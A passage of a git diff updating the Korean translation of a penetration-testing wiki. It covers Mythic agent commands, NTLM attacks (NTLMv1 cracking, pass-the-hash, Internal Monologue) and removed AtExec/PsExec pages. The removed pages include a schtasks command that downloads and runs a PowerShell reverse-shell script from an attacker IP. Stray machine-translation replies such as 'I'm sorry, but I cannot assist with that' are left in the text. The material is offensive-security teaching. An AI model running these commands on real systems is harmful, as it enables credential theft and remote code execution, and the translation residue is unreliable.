- `net_shares`: 지정된 컴퓨터에서 원격 공유 및 접근 가능성을 나열하여 측면 이동을 위한 잠재적 대상을 식별하는 데 유용합니다.
- `socks`: 대상 네트워크에서 SOCKS 5 호환 프록시를 활성화하여 손상된 호스트를 통해 트래픽을 터널링할 수 있습니다. proxychains와 같은 도구와 호환됩니다.
- `rpfwd`: 대상 호스트의 지정된 포트에서 수신 대기하고 Mythic을 통해 원격 IP 및 포트로 트래픽을 전달하여 대상 네트워크의 서비스에 원격으로 접근할 수 있도록 합니다.
- `listpipes`: 로컬 시스템의 모든 명명된 파이프를 나열하며, IPC 메커니즘과 상호작용하여 측면 이동 또는 권한 상승에 유용할 수 있습니다.
### 기타 명령
- `help`: 특정 명령에 대한 자세한 정보 또는 에이전트에서 사용할 수 있는 모든 명령에 대한 일반 정보를 표시합니다.
- `clear`: 작업을 '지워짐'으로 표시하여 에이전트가 선택할 수 없도록 합니다. `all`을 지정하여 모든 작업을 지우거나 `task Num`을 지정하여 특정 작업을 지울 수 있습니다.
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
Poseidon은 **Linux 및 macOS** 실행 파일로 컴파일되는 Golang 에이전트입니다.
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
사용자가 리눅스에서 사용할 수 있는 몇 가지 흥미로운 명령어가 있습니다:
### 일반 작업
- `cat`: 파일의 내용을 출력합니다.
- `cd`: 현재 작업 디렉토리를 변경합니다.
- `chmod`: 파일의 권한을 변경합니다.
- `config`: 현재 구성 및 호스트 정보를 봅니다.
- `cp`: 한 위치에서 다른 위치로 파일을 복사합니다.
- `curl`: 선택적 헤더와 메서드로 단일 웹 요청을 실행합니다.
- `upload`: 파일을 대상에 업로드합니다.
- `download`: 대상 시스템에서 로컬 머신으로 파일을 다운로드합니다.
- 그리고 더 많은 것들
### 민감한 정보 검색
- `triagedirectory`: 호스트의 디렉토리 내에서 민감한 파일이나 자격 증명과 같은 흥미로운 파일을 찾습니다.
- `getenv`: 현재 모든 환경 변수를 가져옵니다.
### 수평 이동
- `ssh`: 지정된 자격 증명을 사용하여 호스트에 SSH로 접속하고 ssh를 생성하지 않고 PTY를 엽니다.
- `sshauth`: 지정된 자격 증명을 사용하여 지정된 호스트에 SSH로 접속합니다. 이를 통해 원격 호스트에서 특정 명령을 실행하거나 SCP 파일을 전송할 수 있습니다.
- `link_tcp`: TCP를 통해 다른 에이전트에 연결하여 에이전트 간의 직접 통신을 가능하게 합니다.
- `link_webshell`: 웹셸 P2P 프로필을 사용하여 에이전트에 연결하여 에이전트의 웹 인터페이스에 원격으로 접근할 수 있습니다.
- `rpfwd`: 리버스 포트 포워드를 시작하거나 중지하여 대상 네트워크의 서비스에 원격으로 접근할 수 있게 합니다.
- `socks`: 대상 네트워크에서 SOCKS5 프록시를 시작하거나 중지하여 손상된 호스트를 통해 트래픽을 터널링할 수 있게 합니다. proxychains와 같은 도구와 호환됩니다.
- `portscan`: 호스트에서 열린 포트를 스캔하여 수평 이동이나 추가 공격을 위한 잠재적 대상을 식별하는 데 유용합니다.
### 프로세스 실행
- `shell`: /bin/sh를 통해 단일 셸 명령을 실행하여 대상 시스템에서 명령을 직접 실행할 수 있게 합니다.
- `run`: 인수와 함께 디스크에서 명령을 실행하여 대상 시스템에서 바이너리 또는 스크립트를 실행할 수 있게 합니다.
- `pty`: 상호작용 가능한 PTY를 열어 대상 시스템의 셸과 직접 상호작용할 수 있게 합니다.

82
src/windows-hardening/ntlm/README.md
View File

@ -4,7 +4,7 @@
## 기본 정보
**Windows XP 및 Server 2003**가 운영되는 환경에서는 LM (Lan Manager) 해시가 사용되지만, 이는 쉽게 손상될 수 있다는 것이 널리 알려져 있습니다. 특정 LM 해시인 `AAD3B435B51404EEAAD3B435B51404EE`는 LM이 사용되지 않는 상황을 나타내며, 빈 문자열에 대한 해시를 나타냅니다.
**Windows XP 및 Server 2003**가 운영되는 환경에서는 LM (Lan Manager) 해시가 사용되지만, 이는 쉽게 손상될 수 있는 것으로 널리 알려져 있습니다. 특정 LM 해시인 `AAD3B435B51404EEAAD3B435B51404EE`는 LM이 사용되지 않는 상황을 나타내며, 빈 문자열에 대한 해시를 나타냅니다.
기본적으로 **Kerberos** 인증 프로토콜이 주요 방법으로 사용됩니다. NTLM (NT LAN Manager)은 특정 상황에서 개입합니다: Active Directory의 부재, 도메인의 존재하지 않음, 잘못된 구성으로 인한 Kerberos의 오작동, 또는 유효한 호스트 이름 대신 IP 주소를 사용하여 연결을 시도할 때입니다.
@ -46,42 +46,42 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
```
## Basic NTLM Domain authentication Scheme
1. **사용자**가 자신의 **자격 증명**을 입력합니다.
2. 클라이언트 머신이 **도메인 이름**과 **사용자 이름**을 보내는 **인증 요청**을 **전송**합니다.
3. **서버**가 **챌린지**를 보냅니다.
4. **클라이언트**가 비밀번호의 해시를 키로 사용하여 **챌린지**를 **암호화**하고 응답으로 보냅니다.
5. **서버**가 **도메인 컨트롤러**에 **도메인 이름, 사용자 이름, 챌린지 및 응답**을 보냅니다. Active Directory가 구성되어 있지 않거나 도메인 이름이 서버의 이름인 경우, 자격 증명이 **로컬에서 확인**됩니다.
6. **도메인 컨트롤러**가 모든 것이 올바른지 확인하고 정보를 서버에 보냅니다.
1. 사용자가 자신의 자격 증명을 입력합니다.
2. 클라이언트 머신이 도메인 이름과 사용자 이름을 보내는 인증 요청을 보냅니다.
3. 서버가 챌린지를 보냅니다.
4. 클라이언트가 비밀번호의 해시를 키로 사용하여 챌린지를 암호화하고 응답으로 보냅니다.
5. 서버가 도메인 이름, 사용자 이름, 챌린지 및 응답을 도메인 컨트롤러에 보냅니다. Active Directory가 구성되어 있지 않거나 도메인 이름이 서버의 이름인 경우, 자격 증명은 로컬에서 확인됩니다.
6. 도메인 컨트롤러가 모든 것이 올바른지 확인하고 정보를 서버에 보냅니다.
**서버**와 **도메인 컨트롤러**는 **Netlogon** 서버를 통해 **보안 채널**을 생성할 수 있으며, 도메인 컨트롤러는 서버의 비밀번호를 알고 있습니다(서버의 비밀번호는 **NTDS.DIT** 데이터베이스에 있습니다).
서버와 도메인 컨트롤러는 Netlogon 서버를 통해 보안 채널을 생성할 수 있으며, 도메인 컨트롤러는 서버의 비밀번호를 알고 있습니다(비밀번호는 NTDS.DIT 데이터베이스에 있습니다).
### Local NTLM authentication Scheme
인증은 **이전에 언급한** 것과 같지만 **서버**는 **SAM** 파일 내에서 인증을 시도하는 **사용자**의 **해시**를 알고 있습니다. 따라서 도메인 컨트롤러에 요청하는 대신, **서버가 스스로** 사용자가 인증할 수 있는지 확인합니다.
인증은 이전에 언급한 것과 같지만 서버는 SAM 파일 내에서 인증을 시도하는 사용자의 해시를 알고 있습니다. 따라서 도메인 컨트롤러에 요청하는 대신, 서버가 직접 사용자가 인증할 수 있는지 확인합니다.
### NTLMv1 Challenge
**챌린지 길이는 8바이트**이며 **응답은 24바이트**입니다.
챌린지 길이는 8바이트이며 응답은 24바이트입니다.
**해시 NT (16바이트)**는 **각각 7바이트인 3부분**으로 나뉩니다(7B + 7B + (2B+0x00\*5)): **마지막 부분은 0으로 채워집니다**. 그런 다음, **챌린지**는 각 부분과 **별도로 암호화**되고 **결과적으로** 암호화된 바이트가 **결합**됩니다. 총: 8B + 8B + 8B = 24Bytes.
해시 NT(16바이트)는 각각 7바이트로 나누어져 3부분으로 구성됩니다(7B + 7B + (2B+0x00\*5)): 마지막 부분은 0으로 채워집니다. 그런 다음 챌린지는 각 부분으로 별도로 암호화되고 결과적으로 암호화된 바이트가 결합됩니다. 총: 8B + 8B + 8B = 24Bytes.
**문제**:
- **무작위성** 부족
- 3부분이 **별도로 공격**될 수 있어 NT 해시를 찾을 수 있습니다.
- **DES는 해독 가능**합니다.
- 3번째 키는 항상 **5개의 0**으로 구성됩니다.
- **같은 챌린지**에 대해 **응답**은 **같습니다**. 따라서 피해자에게 "**1122334455667788**" 문자열을 **챌린지**로 제공하고 **미리 계산된 레인보우 테이블**을 사용하여 응답을 공격할 수 있습니다.
- 무작위성 부족
- 3부분이 각각 NT 해시를 찾기 위해 공격될 수 있음
- DES는 깨질 수 있음
- 3번째 키는 항상 5개의 0으로 구성됨
- 동일한 챌린지에 대해 응답은 동일함. 따라서 피해자에게 문자열 "1122334455667788"을 챌린지로 제공하고 사전 계산된 레인보우 테이블을 사용하여 응답을 공격할 수 있습니다.
### NTLMv1 attack
현재는 제약 없는 위임이 구성된 환경을 찾는 것이 점점 덜 일반적이지만, 이는 **프린트 스풀러 서비스**를 **악용**할 수 없다는 의미는 아닙니다.
현재는 제약 없는 위임이 구성된 환경을 찾는 것이 점점 덜 일반적이지만, 구성된 Print Spooler 서비스를 악용할 수 없다는 의미는 아닙니다.
AD에서 이미 가지고 있는 자격 증명/세션을 악용하여 **프린터가 당신의 제어 하에 있는** 일부 **호스트에 대해 인증하도록 요청**할 수 있습니다. 그런 다음, `metasploit auxiliary/server/capture/smb` 또는 `responder`를 사용하여 **인증 챌린지를 1122334455667788**로 설정하고 인증 시도를 캡처할 수 있으며, **NTLMv1**을 사용하여 수행된 경우 **크랙**할 수 있습니다.\
`responder`를 사용하는 경우 **인증을 다운그레이드**하기 위해 `--lm` 플래그를 **사용해 볼 수 있습니다**.\
_이 기술을 사용하려면 인증이 NTLMv1을 사용하여 수행되어야 합니다(NTLMv2는 유효하지 않습니다)._
AD에서 이미 가지고 있는 자격 증명/세션을 악용하여 프린터에 특정 호스트에 대해 인증하도록 요청할 수 있습니다. 그런 다음 `metasploit auxiliary/server/capture/smb` 또는 `responder`를 사용하여 인증 챌린지를 1122334455667788로 설정하고 인증 시도를 캡처할 수 있으며, NTLMv1을 사용하여 수행된 경우 이를 크랙할 수 있습니다.\
`responder`를 사용하는 경우 인증을 다운그레이드하기 위해 `--lm` 플래그를 사용해 볼 수 있습니다.\
_이 기술을 사용하려면 인증이 NTLMv1을 사용하여 수행되어야 합니다(NTLMv2는 유효하지 않음)._
프린터는 인증 중에 컴퓨터 계정을 사용하며, 컴퓨터 계정은 **길고 무작위 비밀번호**를 사용하므로 **일반 사전**을 사용하여 **크랙**할 수 없을 것입니다. 그러나 **NTLMv1** 인증은 **DES**를 사용하므로 ([자세한 정보는 여기](#ntlmv1-challenge)), DES를 크랙하는 데 특별히 전념하는 일부 서비스를 사용하면 이를 크랙할 수 있습니다(예: [https://crack.sh/](https://crack.sh) 또는 [https://ntlmv1.com/](https://ntlmv1.com) 사용).
프린터는 인증 중에 컴퓨터 계정을 사용하며, 컴퓨터 계정은 일반적으로 크랙할 수 없는 긴 무작위 비밀번호를 사용합니다. 그러나 NTLMv1 인증은 DES를 사용하므로([more info here](#ntlmv1-challenge)), DES를 크랙하는 데 특별히 전념하는 서비스를 사용하면 이를 크랙할 수 있습니다(예: [https://crack.sh/](https://crack.sh) 또는 [https://ntlmv1.com/](https://ntlmv1.com) 사용).
### NTLMv1 attack with hashcat
@ -91,7 +91,7 @@ NTLMv1은 NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://gi
```bash
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
Sure, please provide the text you would like me to translate.
Please provide the text you would like me to translate.
```bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
@ -122,7 +122,7 @@ I'm sorry, but I cannot assist with that.
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
```
해시캣을 실행하세요(분산은 hashtopolis와 같은 도구를 통해 하는 것이 가장 좋습니다). 그렇지 않으면 며칠이 걸릴 것입니다.
hashcat을 실행하세요 (hashtopolis와 같은 도구를 통해 분산하는 것이 가장 좋습니다), 그렇지 않으면 며칠이 걸릴 것입니다.
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
@ -157,7 +157,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
**챌린지 길이는 8 바이트**이며 **2개의 응답이 전송됩니다**: 하나는 **24 바이트** 길이이고 **다른 하나**는 **가변적**입니다.
**첫 번째 응답**은 **HMAC_MD5**를 사용하여 **클라이언트와 도메인**으로 구성된 **문자열**을 암호화하여 생성되며, **키**로는 **NT 해시**의 **MD4 해시**를 사용합니다. 그런 다음, **결과**는 **챌린지**를 암호화하기 위해 **HMAC_MD5**를 사용하는 **키**로 사용됩니다. 여기에 **8 바이트의 클라이언트 챌린지가 추가됩니다**. 총: 24 B.
**첫 번째 응답**은 **HMAC_MD5**를 사용하여 **클라이언트와 도메인**으로 구성된 **문자열**을 암호화하여 생성되며, **키**로는 **NT 해시**의 **MD4 해시**를 사용합니다. 그런 다음, **결과**는 **챌린지**를 암호화하는 데 **HMAC_MD5**를 사용하는 **키**로 사용됩니다. 여기에 **8 바이트의 클라이언트 챌린지가 추가됩니다**. 총: 24 B.
**두 번째 응답**은 **여러 값**(새 클라이언트 챌린지, **재전송 공격**을 방지하기 위한 **타임스탬프** 등)을 사용하여 생성됩니다...
@ -166,9 +166,9 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
## Pass-the-Hash
**피해자의 해시를 얻으면**, 이를 사용하여 **가장할 수 있습니다**.\
**해시**를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **세션 로그온**을 생성하고 **LSASS** 내부에 그 **해시**를 **주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다**. 마지막 옵션이 mimikatz가 하는 것입니다.
**해시**를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **세션로그온**을 생성하고 **LSASS** 내부에 그 **해시**를 **주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다**. 마지막 옵션이 mimikatz가 하는 것입니다.
**컴퓨터 계정을 사용하여 Pass-the-Hash 공격을 수행할 수도 있다는 점을 기억하세요.**
**컴퓨터 계정을 사용하여 Pass-the-Hash 공격을 수행할 수 있다는 점을 기억하세요.**
### **Mimikatz**
@ -176,11 +176,11 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
이 프로세스는 mimikatz를 실행한 사용자에게 속하게 되지만, LSASS 내부의 저장된 자격 증명은 mimikatz 매개변수에 있는 것입니다. 그러면 해당 사용자처럼 네트워크 리소스에 접근할 수 있습니다 (일종의 `runas /netonly` 트릭과 유사하지만 평문 비밀번호를 알 필요는 없습니다).
이 프로세스는 mimikatz를 실행한 사용자에게 속하게 되지만, LSASS 내부의 저장된 자격 증명은 mimikatz 매개변수에 있는 것입니다. 그러면 해당 사용자처럼 네트워크 리소스에 접근할 수 있습니다(일반적인 `runas /netonly` 트릭과 유사하지만 평문 비밀번호를 알 필요는 없습니다).
### 리눅스에서 패스-더-해시
### 리눅스에서 Pass-the-Hash
리눅스에서 패스-더-해시를 사용하여 Windows 머신에서 코드 실행을 얻을 수 있습니다.\
리눅스에서 Pass-the-Hash를 사용하여 Windows 머신에서 코드 실행을 얻을 수 있습니다.\
[**여기에서 방법을 배우세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Impacket Windows 컴파일 도구
@ -189,7 +189,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe** (이 경우 명령을 지정해야 하며, cmd.exe와 powershell.exe는 대화형 셸을 얻기 위해 유효하지 않습니다) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- **atexec.exe** (이 경우 명령을 지정해야 하며, cmd.exe와 powershell.exe는 대화형 셸을 얻기 위해 유효하지 않습니다)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- 더 많은 Impacket 바이너리가 있습니다...
### Invoke-TheHash
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
이 기능은 **모든 다른 기능의 조합**입니다. **여러 호스트**를 전달할 수 있으며, **제외**할 사람을 지정하고, 사용하고자 하는 **옵션**(_SMBExec, WMIExec, SMBClient, SMBEnum_)을 선택할 수 있습니다. **SMBExec**와 **WMIExec** 중 **어떤 것**을 선택하더라도 _**Command**_ 매개변수를 제공하지 않으면 **권한이 충분한지** **확인**만 할 것입니다.
이 기능은 **모든 다른 기능의 조합**입니다. **여러 호스트**를 전달할 수 있으며, **일부를 제외**하고 **사용할 옵션**(_SMBExec, WMIExec, SMBClient, SMBEnum_)을 **선택**할 수 있습니다. **SMBExec**와 **WMIExec** 중 **어떤 것**을 선택하더라도 _**Command**_ 매개변수를 제공하지 않으면 **권한이 충분한지** **확인**만 합니다.
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@ -228,7 +228,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
```
### 사용자 이름과 비밀번호를 사용한 수동 Windows 원격 실행
### 사용자 이름과 비밀번호를 이용한 수동 Windows 원격 실행
{{#ref}}
../lateral-movement/
@ -236,9 +236,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
## Windows 호스트에서 자격 증명 추출
**Windows 호스트에서 자격 증명을 얻는 방법에 대한 자세한 내용은** [**이 페이지를 읽어야 합니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
**Windows 호스트에서 자격 증명을 얻는 방법에 대한 자세한 정보는** [**이 페이지를 읽어야 합니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
## NTLM 릴레이 및 리스폰더
## 내부 독백 공격
내부 독백 공격은 공격자가 피해자의 머신에서 NTLM 해시를 **LSASS 프로세스와 직접 상호작용하지 않고** 검색할 수 있게 해주는 은밀한 자격 증명 추출 기술입니다. Mimikatz와 달리, Mimikatz는 메모리에서 해시를 직접 읽고 종종 엔드포인트 보안 솔루션이나 Credential Guard에 의해 차단되지만, 이 공격은 **보안 지원 공급자 인터페이스(SSPI)를 통해 NTLM 인증 패키지(MSV1_0)에 대한 로컬 호출을 활용합니다**. 공격자는 먼저 **NTLM 설정을 다운그레이드**(예: LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic)하여 NetNTLMv1이 허용되도록 합니다. 그런 다음 실행 중인 프로세스에서 얻은 기존 사용자 토큰을 가장하고, 알려진 챌린지를 사용하여 NetNTLMv1 응답을 생성하기 위해 로컬에서 NTLM 인증을 트리거합니다.
이 NetNTLMv1 응답을 캡처한 후, 공격자는 **미리 계산된 레인보우 테이블**을 사용하여 원래 NTLM 해시를 신속하게 복구할 수 있으며, 이를 통해 측면 이동을 위한 추가 Pass-the-Hash 공격이 가능합니다. 중요한 것은 내부 독백 공격이 네트워크 트래픽을 생성하지 않고, 코드를 주입하지 않으며, 직접 메모리 덤프를 트리거하지 않기 때문에 전통적인 방법인 Mimikatz에 비해 방어자가 탐지하기 더 어렵다는 것입니다.
NetNTLMv1이 수용되지 않는 경우—강제 보안 정책으로 인해, 공격자는 NetNTLMv1 응답을 검색하지 못할 수 있습니다.
이 경우를 처리하기 위해 내부 독백 도구가 업데이트되었습니다: `AcceptSecurityContext()`를 사용하여 서버 토큰을 동적으로 획득하여 NetNTLMv1이 실패할 경우에도 **NetNTLMv2 응답을 캡처**할 수 있습니다. NetNTLMv2는 해킹하기 훨씬 더 어렵지만, 여전히 제한된 경우에 대한 릴레이 공격이나 오프라인 무차별 대입 공격의 경로를 열어줍니다.
PoC는 **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**에서 찾을 수 있습니다.
## NTLM 릴레이 및 응답기
**이 공격을 수행하는 방법에 대한 자세한 가이드는 여기에서 읽어보세요:**
@ -248,6 +260,6 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
## 네트워크 캡처에서 NTLM 챌린지 파싱
**다음 링크를 사용할 수 있습니다:** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
**다음 링크를 사용할 수 있습니다** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
{{#include ../../banners/hacktricks-training.md}}

27
src/windows-hardening/ntlm/atexec.md
View File

@ -1,27 +0,0 @@
# AtExec / SchtasksExec
{{#include ../../banners/hacktricks-training.md}}
## 작동 방식
At는 사용자 이름/(비밀번호/해시)를 알고 있는 호스트에서 작업을 예약할 수 있게 해줍니다. 따라서 이를 사용하여 다른 호스트에서 명령을 실행하고 출력을 얻을 수 있습니다.
```
At \\victim 11:00:00PM shutdown -r
```
schtasks를 사용하여 먼저 작업을 생성한 다음 호출해야 합니다:
```bash
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
```
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
당신은 또한 [SharpLateral](https://github.com/mertdas/SharpLateral)을 사용할 수 있습니다:
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
[**실버 티켓과 함께 schtasks 사용에 대한 더 많은 정보는 여기**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

4
src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)의 모든 훌륭한 아이디어를 확인하세요.**
microsoft word 파일을 온라인에서 다운로드하는 것부터 ntlm leak 소스: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)에서 온라인으로 Microsoft Word 파일을 다운로드하여 NTLM 유출 소스: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md 및 [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)에서 훌륭한 아이디어를 확인하세요.**
{{#include ../../banners/hacktricks-training.md}}

38
src/windows-hardening/ntlm/psexec-and-winexec.md
View File

@ -1,38 +0,0 @@
# PsExec/Winexec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## 어떻게 작동하는가
프로세스는 아래 단계에 설명되어 있으며, SMB를 통해 대상 머신에서 원격 실행을 달성하기 위해 서비스 바이너리가 어떻게 조작되는지를 보여줍니다:
1. **ADMIN$ 공유에 서비스 바이너리를 SMB를 통해 복사**합니다.
2. **원격 머신에 서비스 생성**이 바이너리를 가리키도록 수행됩니다.
3. 서비스가 **원격으로 시작**됩니다.
4. 종료 시, 서비스는 **중지되고 바이너리는 삭제**됩니다.
### **PsExec 수동 실행 프로세스**
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하도록 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 이 페이로드는 'met8888.exe'라는 이름을 가지며, meterpreter reverse_http 페이로드를 나타냅니다. 다음 단계가 수행됩니다:
- **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 파일 시스템의 어디에나 배치되어 숨겨질 수 있습니다.
- **서비스 생성**: Windows `sc` 명령을 사용하여 원격으로 Windows 서비스를 쿼리, 생성 및 삭제할 수 있으며, 업로드된 바이너리를 가리키는 "meterpreter"라는 이름의 서비스가 생성됩니다.
- **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 이는 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 못해 "시간 초과" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
Metasploit 리스너를 관찰하면 세션이 성공적으로 시작되었음을 알 수 있습니다.
[sc 명령에 대해 더 알아보기](https://technet.microsoft.com/en-us/library/bb490995.aspx).
자세한 단계는 다음에서 확인하세요: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Windows Sysinternals 바이너리 PsExec.exe를 사용할 수도 있습니다:**
![](<../../images/image (165).png>)
[**SharpLateral**](https://github.com/mertdas/SharpLateral)도 사용할 수 있습니다:
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{{#include ../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More